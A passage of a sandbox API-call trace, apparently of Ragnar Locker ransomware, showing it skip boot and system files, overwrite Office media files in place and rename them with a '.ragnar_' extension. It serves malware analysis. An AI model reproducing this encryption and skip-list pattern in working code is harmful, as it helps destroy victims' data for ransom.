dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.054] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x224e, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.054] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x224e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x224e, lpOverlapped=0x0) returned 1 [0096.054] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x224e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.054] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.055] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x224e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.055] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.055] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.055] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.055] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.055] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.055] GetProcessHeap () returned 0x580000 [0096.055] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.055] CloseHandle (hObject=0x104) returned 1 [0096.055] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" [0096.055] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF.ragnar_FD7BD9FC" [0096.055] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.056] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91e7c00, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf91e7c00, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x953a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301252.WMF", cAlternateFileName="")) returned 1 [0096.056] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.056] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0301252.WMF" | out: lpString1="J0301252.WMF") returned="J0301252.WMF" [0096.056] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF") returned=".WMF" [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="autorun.inf") returned 1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="boot.ini") returned 1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="bootfont.bin") returned 1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="bootsect.bak") returned 1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="bootmgr") returned 1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="bootmgr.efi") returned 1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="bootmgfw.efi") returned 1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="desktop.ini") returned 1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="iconcache.db") returned 1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="ntldr") returned -1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="ntuser.dat") returned -1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="ntuser.dat.log") returned -1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="ntuser.ini") returned -1 [0096.056] lstrcmpiW (lpString1="J0301252.WMF", lpString2="thumbs.db") returned -1 [0096.056] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.056] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.056] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.056] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.056] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.057] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.057] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf")) returned 0x20 [0096.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.057] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=38202) returned 1 [0096.057] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x9531, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.057] GetProcessHeap () returned 0x580000 [0096.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.057] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.059] VirtualAlloc (lpAddress=0x0, dwSize=0x953a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.059] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.059] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.059] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x953a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x953a, lpOverlapped=0x0) returned 1 [0096.060] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.061] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x953a, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.061] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x953a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x953a, lpOverlapped=0x0) returned 1 [0096.061] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x953a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.061] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.061] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x953a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.061] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.061] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.061] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.061] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.062] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.062] GetProcessHeap () returned 0x580000 [0096.062] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.062] CloseHandle (hObject=0x104) returned 1 [0096.062] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" [0096.062] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF.ragnar_FD7BD9FC" [0096.062] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.062] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570900, ftCreationTime.dwHighDateTime=0x1bf4530, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5570900, ftLastWriteTime.dwHighDateTime=0x1bf4530, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301480.WMF", cAlternateFileName="")) returned 1 [0096.062] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.063] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0301480.WMF" | out: lpString1="J0301480.WMF") returned="J0301480.WMF" [0096.063] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF") returned=".WMF" [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="autorun.inf") returned 1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="boot.ini") returned 1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="bootfont.bin") returned 1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="bootsect.bak") returned 1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="bootmgr") returned 1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="bootmgr.efi") returned 1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="bootmgfw.efi") returned 1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="desktop.ini") returned 1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="iconcache.db") returned 1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="ntldr") returned -1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="ntuser.dat") returned -1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="ntuser.dat.log") returned -1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="ntuser.ini") returned -1 [0096.063] lstrcmpiW (lpString1="J0301480.WMF", lpString2="thumbs.db") returned -1 [0096.063] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.063] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.063] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.063] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.063] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.063] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.063] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf")) returned 0x20 [0096.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.064] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8000) returned 1 [0096.064] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1f37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.064] GetProcessHeap () returned 0x580000 [0096.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.064] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.067] VirtualAlloc (lpAddress=0x0, dwSize=0x1f40, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.067] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.067] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.067] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f40, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f40, lpOverlapped=0x0) returned 1 [0096.068] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.068] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f40, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.068] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f40, lpOverlapped=0x0) returned 1 [0096.068] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.068] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.068] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1f40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.068] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.068] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.068] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.069] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.069] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.069] GetProcessHeap () returned 0x580000 [0096.069] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.069] CloseHandle (hObject=0x104) returned 1 [0096.069] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" [0096.069] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF.ragnar_FD7BD9FC" [0096.069] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.069] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced53d00, ftCreationTime.dwHighDateTime=0x1bf4a9f, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xced53d00, ftLastWriteTime.dwHighDateTime=0x1bf4a9f, nFileSizeHigh=0x0, nFileSizeLow=0x5a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302827.JPG", cAlternateFileName="")) returned 1 [0096.070] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.070] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0302827.JPG" | out: lpString1="J0302827.JPG") returned="J0302827.JPG" [0096.070] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG") returned=".JPG" [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="autorun.inf") returned 1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="boot.ini") returned 1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="bootfont.bin") returned 1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="bootsect.bak") returned 1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="bootmgr") returned 1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="bootmgr.efi") returned 1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="bootmgfw.efi") returned 1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="desktop.ini") returned 1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="iconcache.db") returned 1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="ntldr") returned -1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="ntuser.dat") returned -1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="ntuser.dat.log") returned -1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="ntuser.ini") returned -1 [0096.070] lstrcmpiW (lpString1="J0302827.JPG", lpString2="thumbs.db") returned -1 [0096.070] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0096.070] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0096.070] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0096.070] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0096.070] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0096.070] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0096.070] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0096.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg")) returned 0x20 [0096.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.071] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23083) returned 1 [0096.071] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5a22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.071] GetProcessHeap () returned 0x580000 [0096.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.071] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.073] VirtualAlloc (lpAddress=0x0, dwSize=0x5a2b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.074] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.074] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.074] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5a2b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5a2b, lpOverlapped=0x0) returned 1 [0096.075] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.075] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5a2b, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.075] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5a2b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5a2b, lpOverlapped=0x0) returned 1 [0096.075] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5a2b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.075] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.076] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5a2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.076] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, 